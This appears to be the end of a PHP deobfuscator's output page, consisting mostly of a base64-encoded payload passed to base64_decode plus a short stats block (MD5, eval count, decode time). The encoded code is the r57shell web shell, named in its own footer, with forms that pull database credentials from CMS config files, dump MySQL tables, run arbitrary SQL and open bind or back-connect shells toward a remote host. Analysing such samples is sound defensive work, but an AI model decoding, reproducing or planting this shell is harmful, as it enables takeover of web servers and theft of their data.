l0rIihbXiJdKikiJWlzJywkY21zRmlsZVNldHQsJGNtc1NldHRNYXRjaGVzKTskY21zUmVzdWx0PWFycmF5KCk7aWYoY291bnQoJGNtc1NldHRNYXRjaGVzKT09NSApeyRjbXNSZXN1bHRbJ2hvc3QnXT0kY21zU2V0dE1hdGNoZXNbMSBdOyRjbXNSZXN1bHRbJ3VzZXInXT0kY21zU2V0dE1hdGNoZXNbMiBdOyRjbXNSZXN1bHRbJ3B3ZCddPSRjbXNTZXR0TWF0Y2hlc1szIF07JGNtc1Jlc3VsdFsnZGInXT0kY21zU2V0dE1hdGNoZXNbNCBdOyRkYj1uZXcgZGJteXNxbCgkY21zUmVzdWx0Wydob3N0J10sJGNtc1Jlc3VsdFsndXNlciddLCRjbXNSZXN1bHRbJ3B3ZCddLCRjbXNSZXN1bHRbJ2RiJ10pOyRxdWVyeT0kZGItPnF1ZXJ5QXJyKCJTRUxFQ1QgYE5BTUVgLGBWQUxVRWAgRlJPTSBgYl9vcHRpb25gIFdIRVJFIGBNT0RVTEVfSURgID0gJ21haW4nIik7JGNtc1F1ZXJ5PWFycmF5KCk7Zm9yZWFjaCgkcXVlcnkgYXMgJHF1ZXJ5S2V5PT4kcXVlcnlWYWwpeyRjbXNRdWVyeVskcXVlcnlWYWxbJ05BTUUnXV09JHF1ZXJ5VmFsWydWQUxVRSddO31wcmludF9yKCRjbXNRdWVyeSk7fX1wcmludCAnPC90ZXh0YXJlYT4nO31wcmludCAiPC9kaXY+Ii4kdGFibGVfZW5kMS4kZmU7aWYoJG15c3FsX29uIHx8ICRtc3NxbF9vbiB8fCAkcGdfb24gfHwgJG9yYV9vbil7JHNlbGVjdD0nPHNlbGVjdCBuYW1lPWRiPic7aWYoJG15c3FsX29uKSRzZWxlY3QuPSc8b3B0aW9uPk15U1FMPC9vcHRpb24+JztpZigkbXNzcWxfb24pJHNlbGVjdC49JzxvcHRpb24+TVNTUUw8L29wdGlvbj4nO2lmKCRwZ19vbikkc2VsZWN0Lj0nPG9wdGlvbj5Qb3N0Z3JlU1FMPC9vcHRpb24+JztpZigkb3JhX29uKSRzZWxlY3QuPSc8b3B0aW9uPk9yYWNsZTwvb3B0aW9uPic7JHNlbGVjdC49Jzwvc2VsZWN0Pic7ZWNobyAkdGFibGVfdXAxLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MiddLnVwX2Rvd24oJ2lkMjAnKS4kdGFibGVfdXAyLmRpdignaWQyMCcpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zNCU+Ii4kdHM7ZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc3J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjtlY2hvIHNyKDQ1ICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QpO2VjaG8gc3IoNDUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkYl9wb3J0JywxNSAsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKTtlY2hvIHNyKDQ1ICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfbCcsMTUgLCghZW1wdHkoJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCJyb290IikpKSk7ZWNobyBzcig0NSAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX3AnLDE1ICwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWydteXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTtlY2hvIHNyKDQ1ICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzgnXS4kYXJyb3cuIjwvYj4iLGluKCdoaWRkZW4nLCdkaXInLDAgLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAgLCdkYl9zaG93JykuaW4oJ2NoZWNrYm94Jywnc3QgaWQ9c3QnLDAgLCcxJykpO2VjaG8gc3IoNDUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3OSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94Jywnc2MgaWQ9c2MnLDAgLCcxJykpO2VjaG8gc3IoNDUgLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAgLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTtlY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0cztlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iO2VjaG8gc3IoNDUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7ZWNobyBzcig0NSAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RiX3BvcnQnLDE1ICwoIWVtcHR5KCRfUE9TVFsnZGJfcG9ydCddKT8oJF9QT1NUWydkYl9wb3J0J10pOigiMzMwNiIpKSkpO2VjaG8gc3IoNDUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJywxNSAsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2wnXSk/KCRfUE9TVFsnbXlzcWxfbCddKTooInJvb3QiKSkpKTtlY2hvIHNyKDQ1ICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfcCcsMTUgLCghZW1wdHkoJF9QT1NUWydteXNxbF9wJ10pPygkX1BPU1RbJ215c3FsX3AnXSk6KCJwYXNzd29yZCIpKSkpO2VjaG8gc3IoNDUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9kYicsMTUgLCghZW1wdHkoJF9QT1NUWydteXNxbF9kYiddKT8oJF9QT1NUWydteXNxbF9kYiddKTooIm15c3FsIikpKSk7ZWNobyBzcig0NSAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX3RibCcsMTUgLCghZW1wdHkoJF9QT1NUWydteXNxbF90YmwnXSk/KCRfUE9TVFsnbXlzcWxfdGJsJ10pOigidXNlciIpKSkpO2VjaG8gc3IoNDUgLGluKCdoaWRkZW4nLCdkaXInLDAgLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAgLCdteXNxbF9kdW1wJykuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQxJ10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCdkaWYgaWQ9ZGlmJywwICwnMScpKTtlY2hvIHNyKDQ1ICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlmX25hbWUnLDE1ICwoIWVtcHR5KCRfUE9TVFsnZGlmX25hbWUnXSk/KCRfUE9TVFsnZGlmX25hbWUnXSk6KCJkdW1wLnNxbCIpKSkpO2VjaG8gc3IoNDUgLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAgLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ5J10pKTtlY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0cztlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODMnXS4iPC9kaXY+PC9iPjwvZm9udD4iO2VjaG8gc3IoNDUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7ZWNobyBzcig0NSAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RiX3BvcnQnLDE1ICwoIWVtcHR5KCRfUE9TVFsnZGJfcG9ydCddKT8oJF9QT1NUWydkYl9wb3J0J10pOigiMzMwNiIpKSkpO2VjaG8gc3IoNDUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJywxNSAsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2wnXSk/KCRfUE9TVFsnbXlzcWxfbCddKTooInJvb3QiKSkpKTtlY2hvIHNyKDQ1ICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfcCcsMTUgLCghZW1wdHkoJF9QT1NUWydteXNxbF9wJ10pPygkX1BPU1RbJ215c3FsX3AnXSk6KCJwYXNzd29yZCIpKSkpO2VjaG8gc3IoNDUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9kYicsMTUgLCghZW1wdHkoJF9QT1NUWydteXNxbF9kYiddKT8oJF9QT1NUWydteXNxbF9kYiddKTooIm15c3FsIikpKSk7ZWNobyBzcig0NSAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg0J10uJGFycm93LiI8L2I+Ii5pbignaGlkZGVuJywnZGlyJywwICwkZGlyKS5pbignaGlkZGVuJywnY21kJywwICwnZGJfcXVlcnknKSwiIik7ZWNobyAkdGUuIjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz48dGV4dGFyZWEgY29scz0zNSBuYW1lPWRiX3F1ZXJ5PiIuKCFlbXB0eSgkX1BPU1RbJ2RiX3F1ZXJ5J10pPygkX1BPU1RbJ2RiX3F1ZXJ5J10pOigiU0hPVyBEQVRBQkFTRVM7XG5TRUxFQ1QgKiBGUk9NIHVzZXI7IikpLiI8L3RleHRhcmVhPjxicj4iLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAgLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pLiI8L2Rpdj48L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+Ijt9aWYoISRzYWZlX21vZGUgJiYgISR3aW5kb3dzKXtlY2hvICR0YWJsZV91cDEuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgxJ10udXBfZG93bignaWQyMScpLiR0YWJsZV91cDIuZGl2KCdpZDIxJykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTM0JT4iLiR0cztlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OSddLiI8L2Rpdj48L2I+PC9mb250PiI7ZWNobyBzcig0MCAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQnLDE1ICwnMTE0NTcnKSk7ZWNobyBzcig0MCAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2JpbmRfcGFzcycsMTUgLCdyNTcnKSk7ZWNobyBzcig0MCAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPlBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiQ1wiPkM8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAgLCRkaXIpKTtlY2hvIHNyKDQwICwiIixpbignc3VibWl0Jywnc3VibWl0JywwICwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MyddKSk7ZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7ZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjtlY2hvIHNyKDQwICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXAnLDE1ICwoKGdldGVudignUkVNT1RFX0FERFInKSk/KGdldGVudignUkVNT1RFX0FERFInKSk6KCIxMjcuMC4wLjEiKSkpKTtlY2hvIHNyKDQwICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncG9ydCcsMTUgLCcxMTQ1NycpKTtlY2hvIHNyKDQwICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+Qzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCAsJGRpcikpO2VjaG8gc3IoNDAgLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAgLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ0J10pKTtlY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0cztlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjInXS4iPC9kaXY+PC9iPjwvZm9udD4iO2VjaG8gc3IoNDAgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NhbF9wb3J0JywxNSAsJzExNDU3JykpO2VjaG8gc3IoNDAgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfaG9zdCcsMTUgLCdpcmMuZGFsbmV0LnJ1JykpO2VjaG8gc3IoNDAgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfcG9ydCcsMTUgLCc2NjY3JykpO2VjaG8gc3IoNDAgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5kYXRhcGlwZS5wbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+ZGF0YXBpcGUuYzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCAsJGRpcikpO2VjaG8gc3IoNDAgLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAgLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ1J10pKTtlY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7fWVjaG8gJzwvdGFibGU+Jy4kdGFibGVfdXAzLiI8L2Rpdj48L2Rpdj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyByNTdzaGVsbCBieSBSU1QvR0hDL1N0YWY0IHwgdmVyc2lvbiAiLiR2ZXJzaW9uLiIgXTwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjtleGl0KCk7"));
 } ?> 

Function Calls

base64_decode 1

Variables

None

Stats

MD5 4fbb9d680695dbddd7aa1c87c6857a51
Eval Count 1
Decode Time 346 ms